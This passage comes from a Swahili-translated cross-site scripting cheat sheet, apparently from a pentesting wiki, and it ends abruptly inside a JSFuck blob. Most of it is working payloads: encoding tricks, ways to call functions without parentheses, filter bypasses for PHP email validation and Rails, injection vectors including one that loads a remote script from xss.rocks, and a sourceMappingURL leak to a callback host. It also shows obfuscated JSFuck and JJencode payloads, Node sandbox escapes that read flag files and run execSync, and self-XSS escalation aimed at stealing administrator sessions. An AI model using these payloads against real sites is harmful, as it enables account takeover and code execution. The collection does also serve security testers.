**Mifumo ya maneno**
|
||
```javascript
|
||
"thisisastring"
|
||
'thisisastrig'
|
||
`thisisastring`
|
||
/thisisastring/ == "/thisisastring/"
|
||
/thisisastring/.source == "thisisastring"
|
||
"\h\e\l\l\o"
|
||
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
|
||
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
|
||
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
|
||
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
|
||
"\a\l\ert\(1\)"
|
||
atob("dGhpc2lzYXN0cmluZw==")
|
||
eval(8680439..toString(30))(983801..toString(36))
|
||
```
|
||
**Mikato maalum**
|
||
```javascript
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
// Any other char escaped is just itself
|
||
```
|
||
**Mabadiliko ya nafasi ndani ya JS code**
|
||
```javascript
|
||
<TAB>
|
||
/**/
|
||
```
|
||
**Maoni ya JavaScript (kutoka** [**Maoni ya JavaScript**](./#javascript-comments) **hila)**
|
||
```javascript
|
||
//This is a 1 line comment
|
||
/* This is a multiline comment*/
|
||
<!--This is a 1line comment
|
||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||
```
|
||
**Mistari mipya ya JavaScript (kutoka** [**hila ya mistari mipya ya JavaScript**](./#javascript-new-lines) **)**
|
||
```javascript
|
||
//Javascript interpret as new line these chars:
|
||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||
```
|
||
**JavaScript nafasi za wazi**
|
||
```javascript
|
||
log=[];
|
||
function funct(){}
|
||
for(let i=0;i<=0x10ffff;i++){
|
||
try{
|
||
eval(`funct${String.fromCodePoint(i)}()`);
|
||
log.push(i);
|
||
}
|
||
catch(e){}
|
||
}
|
||
console.log(log)
|
||
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
||
|
||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||
<img/src/onerror=alert(1)>
|
||
```
|
||
**Javascript ndani ya maoni**
|
||
```javascript
|
||
//If you can only inject inside a JS comment, you can still leak something
|
||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||
|
||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||
```
|
||
**JavaScript bila mabano**
|
||
````javascript
|
||
// By setting location
|
||
window.location='javascript:alert\x281\x29'
|
||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||
// or any DOMXSS sink such as location=name
|
||
|
||
// Backtips
|
||
// Backtips pass the string as an array of lenght 1
|
||
alert`1`
|
||
|
||
// Backtips + Tagged Templates + call/apply
|
||
eval`alert\x281\x29` // This won't work as it will just return the passed array
|
||
setTimeout`alert\x281\x29`
|
||
eval.call`${'alert\x281\x29'}`
|
||
eval.apply`${[`alert\x281\x29`]}`
|
||
[].sort.call`${alert}1337`
|
||
[].map.call`${eval}\\u{61}lert\x281337\x29`
|
||
|
||
// To pass several arguments you can use
|
||
function btt(){
|
||
console.log(arguments);
|
||
}
|
||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||
|
||
//It's possible to construct a function and call it
|
||
Function`x${'alert(1337)'}x```
|
||
|
||
// .replace can use regexes and call a function if something is found
|
||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||
"a".replace.call`1${/./}${alert}`
|
||
// This happened in the previous example
|
||
// Change "this" value of call to "1,"
|
||
// match anything with regex /./
|
||
// call alert with "1"
|
||
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
|
||
|
||
// Using Reflect.apply to call any function with any argumnets
|
||
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
|
||
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
|
||
// Using Reflect.set to call set any value to a variable
|
||
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
|
||
|
||
|
||
|
||
// valueOf, toString
|
||
// These operations are called when the object is used as a primitive
|
||
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
|
||
valueOf=alert;window+''
|
||
toString=alert;window+''
|
||
|
||
|
||
// Error handler
|
||
window.onerror=eval;throw"=alert\x281\x29";
|
||
onerror=eval;throw"=alert\x281\x29";
|
||
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
|
||
{onerror=eval}throw"=alert(1)" //No ";"
|
||
onerror=alert //No ";" using new line
|
||
throw 1337
|
||
// Error handler + Special unicode separators
|
||
eval("onerror=\u2028alert\u2029throw 1337");
|
||
// Error handler + Comma separator
|
||
// The comma separator goes through the list and returns only the last element
|
||
var a = (1,2,3,4,5,6) // a = 6
|
||
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
|
||
throw onerror=alert,1,1,1,1,1,1337
|
||
// optional exception variables inside a catch clause.
|
||
try{throw onerror=alert}catch{throw 1}
|
||
|
||
|
||
// Has instance symbol
|
||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||
````
|
||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||
|
||
**Kuita kazi isiyo na mipaka (alert)**
|
||
````javascript
|
||
//Eval like functions
|
||
eval('ale'+'rt(1)')
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Function('ale'+'rt(10)')``;
|
||
[].constructor.constructor("alert(document.domain)")``
|
||
[]["constructor"]["constructor"]`$${alert()}```
|
||
import('data:text/javascript,alert(1)')
|
||
|
||
//General function executions
|
||
`` //Can be use as parenthesis
|
||
alert`document.cookie`
|
||
alert(document['cookie'])
|
||
with(document)alert(cookie)
|
||
(alert)(1)
|
||
(alert(1))in"."
|
||
a=alert,a(1)
|
||
[1].find(alert)
|
||
window['alert'](0)
|
||
parent['alert'](1)
|
||
self['alert'](2)
|
||
top['alert'](3)
|
||
this['alert'](4)
|
||
frames['alert'](5)
|
||
content['alert'](6)
|
||
[7].map(alert)
|
||
[8].find(alert)
|
||
[9].every(alert)
|
||
[10].filter(alert)
|
||
[11].findIndex(alert)
|
||
[12].forEach(alert);
|
||
top[/al/.source+/ert/.source](1)
|
||
top[8680439..toString(30)](1)
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
|
||
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
|
||
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
|
||
globalThis[`al`+/ert/.source]`1`
|
||
this[`al`+/ert/.source]`1`
|
||
[alert][0].call(this,1)
|
||
window['a'+'l'+'e'+'r'+'t']()
|
||
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
||
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
||
(1,2,3,4,5,6,7,8,alert)(1)
|
||
x=alert,x(1)
|
||
[1].find(alert)
|
||
top["al"+"ert"](1)
|
||
top[/al/.source+/ert/.source](1)
|
||
al\u0065rt(1)
|
||
al\u0065rt`1`
|
||
top['al\145rt'](1)
|
||
top['al\x65rt'](1)
|
||
top[8680439..toString(30)](1)
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
````
|
||
## **Vikosi vya DOM**
|
||
|
||
Kuna **kodiyake ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
|
||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
|
||
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||
|
||
### Kuboresha Self-XSS
|
||
|
||
### Cookie XSS
|
||
|
||
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
|
||
|
||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||
{% endcontent-ref %}
|
||
|
||
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||
|
||
### Kutuma kikao chako kwa msimamizi
|
||
|
||
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo.
|
||
|
||
### Kurefusha Kikao
|
||
|
||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||
|
||
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
|
||
|
||
## Njia Nyingine za Kupita
|
||
|
||
### Unicode Iliyosawazishwa
|
||
|
||
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||
|
||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||
```javascript
|
||
"><svg/onload=confirm(1)>"@x.y
|
||
```
|
||
### Ruby-On-Rails bypass
|
||
|
||
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
|
||
Mfano wa fomu ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa utatuma payload:
|
||
```
|
||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||
```
|
||
Jumla "Key","Value" itarudi kama ifuatavyo:
|
||
```
|
||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||
```
|
||
Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
|
||
|
||
### Mchanganyiko maalum
|
||
```markup
|
||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||
<input type=image src onerror="prompt(1)">
|
||
<svg onload=alert(1)//
|
||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||
<img src='1' onerror='alert(0)' <
|
||
<script x> alert(1) </script 1=2
|
||
<script x>alert('XSS')<script y>
|
||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||
<svg////////onload=alert(1)>
|
||
<svg id=x;onload=alert(1)>
|
||
<svg id=`x`onload=alert(1)>
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||
(function(x){this[x+`ert`](1)})`al`
|
||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||
document['default'+'View'][`\u0061lert`](3)
|
||
```
|
||
### XSS na uingizaji kichwa katika jibu la 302
|
||
|
||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, hivyo tu mzigo wa cross-site scripting hauwezi kutumika.
|
||
|
||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza mzigo wa XSS ndani ya mwili.\
|
||
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
|
||
|
||
### Herufi, Nambari na Nukta Pekee
|
||
|
||
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inayo tekeleza** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii.
|
||
|
||
### Aina za Maudhui Halali za `<script>` kwa XSS
|
||
|
||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
|
||
|
||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||
|
||
Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **script iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||
```c
|
||
const char* const kSupportedJavascriptTypes[] = {
|
||
"application/ecmascript",
|
||
"application/javascript",
|
||
"application/x-ecmascript",
|
||
"application/x-javascript",
|
||
"text/ecmascript",
|
||
"text/javascript",
|
||
"text/javascript1.0",
|
||
"text/javascript1.1",
|
||
"text/javascript1.2",
|
||
"text/javascript1.3",
|
||
"text/javascript1.4",
|
||
"text/javascript1.5",
|
||
"text/jscript",
|
||
"text/livescript",
|
||
"text/x-ecmascript",
|
||
"text/x-javascript",
|
||
};
|
||
|
||
```
|
||
### Script Types to XSS
|
||
|
||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia script?
|
||
```html
|
||
<script type="???"></script>
|
||
```
|
||
The answer is:
|
||
|
||
* **module** (default, hakuna cha kuelezea)
|
||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili **`.wbn`**.
|
||
```html
|
||
<script type="webbundle">
|
||
{
|
||
"source": "https://example.com/dir/subresources.wbn",
|
||
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
|
||
}
|
||
</script>
|
||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||
```
|
||
* [**importmap**](https://github.com/WICG/import-maps)**:** Inaruhusu kuboresha sintaksia ya kuagiza
|
||
```html
|
||
<script type="importmap">
|
||
{
|
||
"imports": {
|
||
"moment": "/node_modules/moment/src/moment.js",
|
||
"lodash": "/node_modules/lodash-es/lodash.js"
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<!-- With importmap you can do the following -->
|
||
<script>
|
||
import moment from "moment";
|
||
import { partition } from "lodash";
|
||
</script>
|
||
```
|
||
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
|
||
|
||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
|
||
```html
|
||
<script type="speculationrules">
|
||
{
|
||
"prerender": [
|
||
{"source": "list",
|
||
"urls": ["/page/2"],
|
||
"score": 0.5},
|
||
{"source": "document",
|
||
"if_href_matches": ["https://*.wikipedia.org/**"],
|
||
"if_not_selector_matches": [".restricted-section *"],
|
||
"score": 0.1}
|
||
]
|
||
}
|
||
</script>
|
||
```
|
||
### Web Content-Types to XSS
|
||
|
||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za maudhui zinaweza kutekeleza XSS katika vivinjari vyote:
|
||
|
||
* text/html
|
||
* application/xhtml+xml
|
||
* application/xml
|
||
* text/xml
|
||
* image/svg+xml
|
||
* text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)
|
||
* application/rss+xml (off)
|
||
* application/atom+xml (off)
|
||
|
||
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||
|
||
### xml Content Type
|
||
|
||
Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria namespace na kutekeleza JS isiyo na mipaka:
|
||
```xml
|
||
<xml>
|
||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||
</xml>
|
||
|
||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||
```
|
||
### Mifumo Maalum ya Kubadilisha
|
||
|
||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||
|
||
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
|
||
|
||
### Kumbukumbu ya Chrome hadi XSS
|
||
|
||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Kutoroka kwa XS Jails
|
||
|
||
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||
```javascript
|
||
// eval + unescape + regex
|
||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
|
||
|
||
// use of with
|
||
with(console)log(123)
|
||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||
|
||
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
|
||
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
|
||
//Final solution
|
||
with(
|
||
/with(String)
|
||
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
|
||
with(mainModule)
|
||
with(require(k))
|
||
return(String(readFileSync(n)))
|
||
/)
|
||
with(this)
|
||
with(constructor)
|
||
constructor(source)()
|
||
|
||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||
```
|
||
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
|
||
|
||
* Kutumia import()
|
||
```javascript
|
||
// although import "fs" doesn’t work, import('fs') does.
|
||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||
```
|
||
* Kupata `require` kwa njia isiyo ya moja kwa moja
|
||
|
||
[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya kazi, kama hii:
|
||
```javascript
|
||
(function (exports, require, module, __filename, __dirname) {
|
||
// our actual module code
|
||
});
|
||
```
|
||
Kwa hivyo, ikiwa kutoka kwenye moduli hiyo tunaweza **kuita kazi nyingine**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa kazi hiyo kufikia **`require`**:
|
||
|
||
{% code overflow="wrap" %}
|
||
```javascript
|
||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||
```
|
||
{% endcode %}
|
||
|
||
Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi:
|
||
```javascript
|
||
try {
|
||
null.f()
|
||
} catch (e) {
|
||
TypeError = e.constructor
|
||
}
|
||
Object = {}.constructor
|
||
String = ''.constructor
|
||
Error = TypeError.prototype.__proto__.constructor
|
||
function CustomError() {
|
||
const oldStackTrace = Error.prepareStackTrace
|
||
try {
|
||
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
|
||
Error.captureStackTrace(this)
|
||
this.stack
|
||
} finally {
|
||
Error.prepareStackTrace = oldStackTrace
|
||
}
|
||
}
|
||
function trigger() {
|
||
const err = new CustomError()
|
||
console.log(err.stack[0])
|
||
for (const x of err.stack) {
|
||
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
|
||
const fn = x.getFunction()
|
||
console.log(String(fn).slice(0, 200))
|
||
console.log(fn?.arguments)
|
||
console.log('='.repeat(40))
|
||
if ((args = fn?.arguments)?.length > 0) {
|
||
req = args[1]
|
||
console.log(req('child_process').execSync('id').toString())
|
||
}
|
||
}
|
||
}
|
||
trigger()
|
||
```
|
||
### Obfuscation & Advanced Bypass
|
||
|
||
* **Obfuscations tofauti katika ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||
* JSFuck yenye ujuzi zaidi: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||
```javascript
|
||
//Katana
|
||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||
```
|
||
|
||
```javascript
|
||
//JJencode
|
||
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
```
|
||
|
||
```javascript
|
||
//JSFuck
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+